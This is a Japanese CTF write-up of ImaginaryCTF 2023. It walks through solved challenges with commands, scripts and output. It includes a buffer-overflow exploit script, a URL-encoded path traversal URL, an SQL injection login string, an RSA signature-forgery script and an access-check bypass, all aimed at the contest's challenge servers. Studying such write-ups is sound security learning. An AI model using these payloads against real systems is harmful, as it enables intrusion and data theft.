ImaginaryCTF 2023 Writeup

この大会は2023/7/22 4:00(JST)~2023/7/24 4:00(JST)に開催されました。
今回もチームで参戦。結果は1859点で880チーム中65位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

問題にフラグが書いてあった。

ictf{welcome_to_imaginaryctf_2023!}

Discord (Misc)

Discordに入り、#ictf2023-announcementsチャネルのトピックを見ると、フラグが書いてあった。

ictf{communication_is_key}

signpost (Misc)

写真の場所の緯度、経度を答える問題。
「scottsdale stadium 761 polo grounds 2,925 seals stadium 2」で検索する。画像で検索結果を見ると、おそらくこの場所と思われる。

https://oldstadiumjourney.com/defunct/

画像をダウンロードして、EXIFを見る。

$ exiftool Old-Candlestick-Park-Seats.jpg 
ExifTool Version Number         : 12.63
File Name                       : Old-Candlestick-Park-Seats.jpg
Directory                       : .
File Size                       : 702 kB
File Modification Date/Time     : 2023:07:23 07:30:49+09:00
File Access Date/Time           : 2023:07:23 07:32:25+09:00
File Inode Change Date/Time     : 2023:07:23 07:30:49+09:00
        :
        :
GPS Altitude                    : 0 m Above Sea Level
GPS Date/Time                   : 2018:04:28 22:11:17Z
GPS Latitude                    : 37 deg 46' 41.62" N
GPS Longitude                   : 122 deg 23' 17.68" W
Focal Length                    : 3.3 mm
GPS Position                    : 37 deg 46' 41.62" N, 122 deg 23' 17.68" W
Light Value                     : 14.2

念のため、Google mapで以下の緯度、経度を入力し、調べてみる。

37°46'41.62"N 122°23'17.68"W

その場所の映像を確認することはできなかったが、緯度・経度の小数点表記は確認できた。

37.778228, -122.388244
ictf{37.778,-122.388}

ret2win (Pwn)

BOFでwin関数をコールすればよい。

$ ROPgadget --binary vuln | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

p = remote('ret2win.chal.imaginaryctf.org', 1337)

elf = ELF('./vuln')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to ret2win.chal.imaginaryctf.org on port 1337: Done
[*] '/media/sf_Shared/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00z\x11@\x00\x00\x00\x00\x00'
ictf{r3turn_0f_th3_k1ng?}
[*] Closed connection to ret2win.chal.imaginaryctf.org port 1337
ictf{r3turn_0f_th3_k1ng?}

inspection (Web)

問題ページのHTMLソースを見ると、こう書いてある。

<p m4rkdown_parser_fail_1a211b44="">Here's a freebie: the flag is ictf.</p>
ictf{m4rkdown_parser_fail_1a211b44}

roks (Web)

内部的に以下のようなURLにアクセスして、画像表示している。

http://roks.chal.imaginaryctf.org/file.php?file=image1

ソースを見ると、fileパラメータの値をURLデコードして、"/"や"."が含まれていると、NGとしている。さらにURLデコードしたものを"image/"に連結して、ファイル名として、読み込んでいる。1回は自然にURLデコードして解釈するので3回エンコードすれば、このチェックを回避できる。
Dockerfileを見ると、/flag.pngがあることがわかるので、CyberChefを使って、以下のパスを3回URLエンコードしてアクセスする。

../../../../flag.png

以下のURLにアクセスしたら、フラグが画像で表示された。

http://roks.chal.imaginaryctf.org/file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng

ictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}

blank (Web)

ログイン画面になっている。SQLインジェクションを行う。条件からUsernameは"admin"を指定するしかない。
以下を指定してログインする。

Username: admin
Password: " union select 1, "admin", "pass

この後、http://blank.chal.imaginaryctf.org/flagにアクセスすると、フラグが表示された。

Welcome admin. The flag is ictf{sqli_too_powerful_9b36140a}
ictf{sqli_too_powerful_9b36140a}

Perfect Picture (Web)

アップロードする画像を以下の観点でチェックしている。

・画像サイズは690×420
・画像の3点のRGBAの値が既定の値
・EXIFの3つの情報が既定の値

上記のうち最初の2点をスクリプトで生成する。

#!/usr/bin/env python3
from PIL import Image

UPLOAD_FILE = 'upload.png'

w = 690
h = 420
img = Image.new('RGBA', (w, h), (255, 255, 255, 255))
img.putpixel((412, 309), (52, 146, 235, 123))
img.putpixel((12, 209), (42, 16, 125, 231))
img.putpixel((264, 143), (122, 136, 25, 213))

img.save(UPLOAD_FILE)

次に以下のようにしてEXIF情報を付加していく。

$ exiftool -PNG:Description=jctf{not_the_flag} upload.png
    1 image files updated
$ exiftool -PNG:Title=kool_pic upload.png
    1 image files updated
$ exiftool -PNG:Author=anon upload.png
    1 image files updated

このファイルをアップロードしたら、フラグが表示された。

now that's the perfect picture:
ictf{7ruly_th3_n3x7_p1c4ss0_753433}
ictf{7ruly_th3_n3x7_p1c4ss0_753433}

idoriot-revenge (Web)

ソースコードは以下のようになっている。

<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
    header("Location: logout.php");
    exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

// Check user_id
if (isset($_GET['user_id'])) {
    $user_id = (int) $_GET['user_id'];
    // Check if the user is admin
    if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
        // Read the flag from flag.txt
        $flag = file_get_contents('/flag.txt');
        echo "<h1>Flag</h1>";
        echo "<p>$flag</p>";
    }
}

// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
?>

登録したユーザ名に"admin"が含まれていれば、GETパラメータuser_idにphpを指定したときにフラグが表示される。
まず以下で登録する。

Username: testadmin
Password: test

http://idoriot-revenge.chal.imaginaryctf.org/index.php?user_id=phpにアクセスすると、フラグが表示された。

ictf{this_ch4lleng3_creator_1s_really_an_idoriot}

blurry (Forensics)

ぼやけたQRコードだが、スマホアプリのコードリーダ「クルクル」で読み取れた。

ictf{blurR1ng_is_n0_m4tch_4_u_2ab140c2}

rsa (Crypto)

RSA暗号で、秘密鍵がわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

with open('private.pem', 'r') as f:
    priv_key = RSA.import_key(f.read())

with open('flag.enc', 'rb') as f:
    flag_enc = f.read()

n = priv_key.n
d = priv_key.d
c = int.from_bytes(flag_enc, 'big')

m = pow(c, d, n)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)
ictf{keep_your_private_keys_private}

signer (Crypto)

サーバの処理概要は以下の通り。

・p, q: 1024ビット素数
・n = p * q
・e = 65537
・d = pow(e, -1, (p-1)*(q-1))
・PASSWORD = b"give me the flag!!!"
・nを表示
・以下繰り返し
 ・choice: 数値入力
 ・choiceが1の場合
  ・message: 入力
  ・messageがPASSWORDと同じかmessageのcrc32がPASSWORDのcrc32と同じ場合終了
  ・pow(crc32(message), d, n)を表示
 ・choiceが2の場合
  ・s: 数値入力
  ・pow(s, e, n)がcrc32(PASSWORD)と一致する場合、フラグを表示

crc32(PASSWORD)を数字の積 a * b に分解する。crc32がaになるmessageとbになるメッセージを探し、メニュー1で取得した値の積をメニュー2で指定すればフラグが得られる。
crc32の逆算が必要だが、以下のツールを使った。

https://github.com/skysider/crc32hack
$ python2 crc32.py reverse 0x00009def
4 bytes: {0xf8, 0x58, 0xe3, 0xc2}
verification checksum: 0x00009def (OK)

alternative 5 bytes:
alternative: 5VsRF (OK)

alternative 6 bytes:
alternative: 1mPPdv (OK)
alternative: Bmezvr (OK)
alternative: E9Oy1Q (OK)
alternative: IGxj9J (OK)
alternative: PAUfZ8 (OK)
alternative: ZJWWgU (OK)
alternative: bbVCMw (OK)
alternative: k9cp6Z (OK)
alternative: lmIsqy (OK)
alternative: opSLZ1 (OK)
alternative: uVu3zS (OK)
alternative: x4LMhE (OK)

$ python2 crc32.py reverse 0x00015643
4 bytes: {0xfc, 0xdb, 0x3c, 0xd3}
verification checksum: 0x00015643 (OK)

alternative 5 bytes:

alternative 6 bytes:
alternative: 0yh6zd (OK)
alternative: 2d38J5 (OK)
alternative: 3YcE9t (OK)
alternative: 9op8lA (OK)
alternative: BeSqrm (OK)
alternative: E1yr5N (OK)
alternative: LjLANc (OK)
alternative: R8KNj2 (OK)
alternative: RT8cnv (OK)
alternative: STyRuo (OK)
alternative: esgvcC (OK)
alternative: r7xwQ7 (OK)
alternative: tBMUdA (OK)
alternative: v3evPT (OK)
alternative: zMReXO (OK)
#!/usr/bin/env python3
import socket
from binascii import crc32

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

PASSWORD = b'give me the flag!!!'
a = 3 * 13477
b = 7 * 12517
assert a * b == crc32(PASSWORD)

print('[+] sig1:', hex(a)[2:].zfill(8))
print('[+] sig2:', hex(b)[2:].zfill(8))

msg1 = '1mPPdv'
msg2 = '0yh6zd'
assert crc32(msg1.encode()) == a
assert crc32(msg2.encode()) == b

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('signer.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'flag\n').rstrip()
print(data)
n = data.split('--------------------------------------------------------------')[3]
n = int(''.join(n.split('\n')).split(' ')[-1])

print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(msg1)
s.sendall(msg1.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sig1 = int(data.split(' ')[-1])

data = recvuntil(s, b'flag\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(msg2)
s.sendall(msg2.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sig2 = int(data.split(' ')[-1])

data = recvuntil(s, b'flag\n').rstrip()
print(data)
sig = (sig1 * sig2) % n
print('2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(sig)
s.sendall(str(sig).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

[+] sig1: 00009def
[+] sig2: 00015643
== proof-of-work: disabled ==
--------------------------------------------------------------
               Welcome to the secure signing app!
  I will sign whatever you want, except the secret password.
--------------------------------------------------------------

--------------------------------------------------------------
n = 126668275218317974774444628938922603275053507009326499697
5577950166405281567300870557844124855471204453426901650234702
1702701962452648210559097509427353241301028248460707368224968
4067059813319716383907249453942545463729669689337626051332709
9568946451159388744240519640968757909776417535715067344046987
6992953017936046788653506215599974639583261403818798176389129
2941761080240748505267730139835588438533043400440176189128937
3598831790746223305413157845008922512831282099174432068965627
1672925564076084546111215198531044044730327178979263402639122
2117972672886083948678040756087650285247212749332909170284035
45685334049
--------------------------------------------------------------

1. Sign
2. Get flag
1
Enter message:
1mPPdv
Signature: 1126179203973214015044038564167721789283590451221145527390079141462677258096661644231569002305214274601892237379013762053265549660279885670019352714111681778416085186007999425158720290838310046607975943941551443397494090669863609259373461810844166716732164483280420133858619994162890630254810180581440410661278163459859918472344500221667171508254791981221658030343273201851727471476574597343006942119285085715509479857981527929888271374678756145301265820855400287806842547813499293725276829674736334605752531114755362869517411786121069338759664739341698161347579492788363874606258217928623297516678613223331674361726
1. Sign
2. Get flag
1
Enter message:
0yh6zd
Signature: 8458558767821191578276381830278651773863976659300702598633684548742951374170797771919218301967065615953095557094126771649256339624641540119050696928997914038333672574569619596896101025784922710129435886752818861140345514803265167232325627709331804728142698424017011202348035247278370971874033860167531340778353077536036732232508501269904726534817942918618316856206145542094269823624982377302568052335877788577763120557259056636418138447587963808490630701733115542342444428567538561942003479967830054760391113511585917848684130779208324334206113582161187927844207833800030836041412877946487822554437014232825269437093
1. Sign
2. Get flag
2
Enter the signature for the password:
7315206175369039996777463631699256353495500175773294204223081111092773916595028259699406588677454332692243101816992687548772325899220169928394567758116112319556279603283056103242854087826047913177513328660518701137122553405649386871292842944398511151119318641636179352894907677616512929068645118330038496726655505588252168098046637033633961435607851983107494358067761115662120451398525512754394590924779006269568516773404595643763378303505881534168969558944362360111116151149834563807909610132608885126649512604375370937392522869647484391873126083732279366934031154965566251640033620652194073463375938283800068395638
You win! The flag is ictf{m4ybe_crc32_wasnt_that_secure_after_all_1ab93213}
ictf{m4ybe_crc32_wasnt_that_secure_after_all_1ab93213}